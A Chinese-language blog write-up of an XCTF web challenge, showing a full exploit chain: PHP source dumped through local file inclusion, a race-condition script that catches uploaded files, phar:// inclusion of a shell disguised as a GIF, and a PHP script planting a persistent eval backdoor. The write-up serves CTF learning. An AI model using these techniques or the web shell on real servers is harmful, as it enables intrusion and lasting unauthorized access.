XCTF练习(一)

2017-08-15  本文已影响0人  wtmxx

一道web题:链接
自己很多php姿势都不会, 这条题目摸了很久, 于是我把这道题目详细都记了下来。 参考了大神的writeup
打开题目地址一通查看, 发现这个页面比较可疑, 可能可以直接传一句话木马。

Snipaste_2017-08-15_21-18-25.png
试传发现有过滤,换了一些绕过姿势, 发现即使上传成功, 获得了上传id 也没有办法访问图片,目录扫描发现uploads目录, 发现格式长得很像的图片, 说明图片名是经过处理的。这超出菜逼我的能力了, 于是就翻开writeup学姿势。
Snipaste_2017-08-15_21-31-00.png
这题其实是LFI漏洞
用姿势获得源码, 访问http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-encode/resource=index
获得了index.php 文件的base64 编码。
PD9waHANCglyZXF1aXJlKCJoZWFkZXIucGhwIik7DQoJJHBhZ2U9IiI7DQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJJHBhZ2U9c3RydG9sb3dlcigkX0dFVFsncGFnZSddKTsNCgkJJHBhZ2U9c3RyX3JlcGxhY2UoIiMiLCAiIiwgJHBhZ2UpOw0KCQkkcGFnZT1zdHJfcmVwbGFjZSgiJyIsICIiLCAkcGFnZSk7DQoJCSRwYWdlPSRwYWdlLiIucGhwIjsNCgl9DQoJZWxzZQ0KCQkkcGFnZT0ibWFpbi5waHAiOw0KCWluY2x1ZGUoJHBhZ2UpOw0KPz4NCg==
解码获得index.php 源码
<?php
    require("header.php");
    $page="";
    if (isset($_GET['page']))
    {
        $page=strtolower($_GET['page']);
        $page=str_replace("#", "", $page);
        $page=str_replace("'", "", $page);
        $page=$page.".php";
    }
    else
        $page="main.php";
    include($page);
?>

发现将page参数中的 '#' 和 " ' "号作了过滤, 并且在尾部加上了".php" 的文件后缀。
同理获得upload.php 的源码

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            //echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(2);               
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "图片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

阅读源码, 首先有个过滤, $name1=substr($name,-4) 截取了后四位的文件名, 判断如果不是gif或者jpg就失败并且返回原页面。
然后通过 is_uploaded_file()函数 来判断该文件是否通过post 方式上传。
构造一个$time.$name1 的文件名, 通过move_uploaded_file()函数放到uploads 目录下, 成功了会sleep(2), 也就是说在这两秒内, 上传上去的原文件是以$time.$name1 的格式存在在uploads/ 这个目录下面的。如果没有index.php 中对page 参数的过滤处理, 是可以直接通过图片执行代码的。 在sleep(2) 之后, 系统会重新创建一个图片, 这时候不符合格式的图片会被重新生成, 图片里的代码也会消失。
这是原来的gif 图片:

Snipaste_2017-08-16_11-10-36.png
通过代码重新创建:
<?php
$im = @imagecreatefromgif('img2.gif');
if(!$im)
    {
        /* Create a blank image */
        $im = imagecreatetruecolor (150, 30);
        $bgc = imagecolorallocate ($im, 255, 255, 255);
        $tc = imagecolorallocate ($im, 0, 0, 0);

        imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring ($im, 1, 5, 5, 'Error loading img.gif', $tc);
    }
imagegif($im, 'heheda.gif');
imagedestroy($im);
?>

生成的heheda.gif:

Snipaste_2017-08-16_11-13-55.png

可以发现图片里的代码段消失了。所以只能在这两秒时间内通过图片执行代码。
首先本地构造一个phar 文件包含webshell, 再改名为webshell.gif。
编写脚本获取该文件:

# -*- coding:utf-8 -*-
import requests
import re
import time
import copy
url = "http://202.112.51.217:8199/uploads/"
files=[]
files2=[]
vulname=''
def gettmpfile():
    r = requests.get(url)
    for line in r.content.split('\n'):
        res = re.match('.*href=\"([\d]+\.[\w]+)\"', line)
        try:
            files.append(res.group(1))
        except Exception, e:
            pass
    return len(files)

gettmpfile()
files2 = copy.copy(files)
files = []
tt = 0
found = False
while(not found):
    time.sleep(1)
    tmp = gettmpfile()
    for x in files:
        if x not in files2:
            vulname = x
            found= True
            break
    files2 = copy.copy(files)
    files = []

执行脚本, 上传webshell.gif后 vulname 会返回刚刚上传的文件名。利用phar:// 去执行刚刚上传的脚本

url2 = "http://202.112.51.217:8199/index.php?page=phar://uploads/"+ vulname + "/cws"
r = requests.get(url2)
print r.content

因为文件只能存在两秒, 所以就想到写入一个长期存在的后门abc.php, 尝试了一下在主目录下是没有写权限的, 于是写在了uploads/ 目录下,脚本如下cwv.php:

<?php
if ($f=fopen("./uploads/abc.php", "w")){
    echo "could open&write...";
    fclose($f);
}
else{
    echo "this file is not writable.....";
}

$f=fopen("./uploads/abc.php", "w");
$content = "<?php echo 'write the shell';@eval(\$_POST['ckey']); ?>";
fwrite($f, $content);
fclose($f);
$f=fopen("abc.php", "r");
?>

执行后的效果:

Snipaste_2017-08-16_12-26-22.png

发现成功上传, 利用菜刀连接成功。

上一篇 下一篇

猜你喜欢

热点阅读